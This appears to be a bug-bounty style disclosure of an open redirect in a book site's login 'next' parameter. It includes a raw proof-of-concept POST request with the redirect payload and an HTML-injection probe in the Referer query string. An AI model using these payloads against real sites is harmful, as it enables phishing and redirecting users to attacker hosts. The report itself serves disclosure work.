Description

Open redirect when login successfully via next parameter

Proof of Concept

POST /login?next=https://www.google.com/open-redirect HTTP/2
Host: book.dansmonorage.blue
Cookie: csrftoken=EUjtgvt3A20lSHYbTxBvfAxQi5gNHHzeI7Bda1HOGnWCioMA6cwQqYWXv8ONog4k
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://book.dansmonorage.blue/search?q=%22%3E%3Ch1%3E123%3C/h1%3E&type=list
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://book.dansmonorage.blue
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=AYkFFAARzZ5VjDVr49jR4sdsA55RDHf4EbCpz6OCFk1cJkJQhOecfQCzN8DRkgKa&localname=<username>&password=<password>

PoC Image

Impact

This vulnerability is capable of redirect user to fishing, redirect to attack host,...